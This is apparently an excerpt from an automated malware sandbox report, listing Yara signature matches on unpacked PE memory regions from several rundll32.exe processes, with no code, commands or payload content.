Source: Yara match	File source: 14.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.310000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.220000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.4b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.370000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.rundll32.exe.540000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 16.2.rundll32.exe.370000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 14.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.710000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.rundll32.exe.1c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.rundll32.exe.200000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 12.2.rundll32.exe.6f0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.rundll32.exe.1c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.300000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 17.2.rundll32.exe.2e0000.0.unpack, type: UNPACKEDPE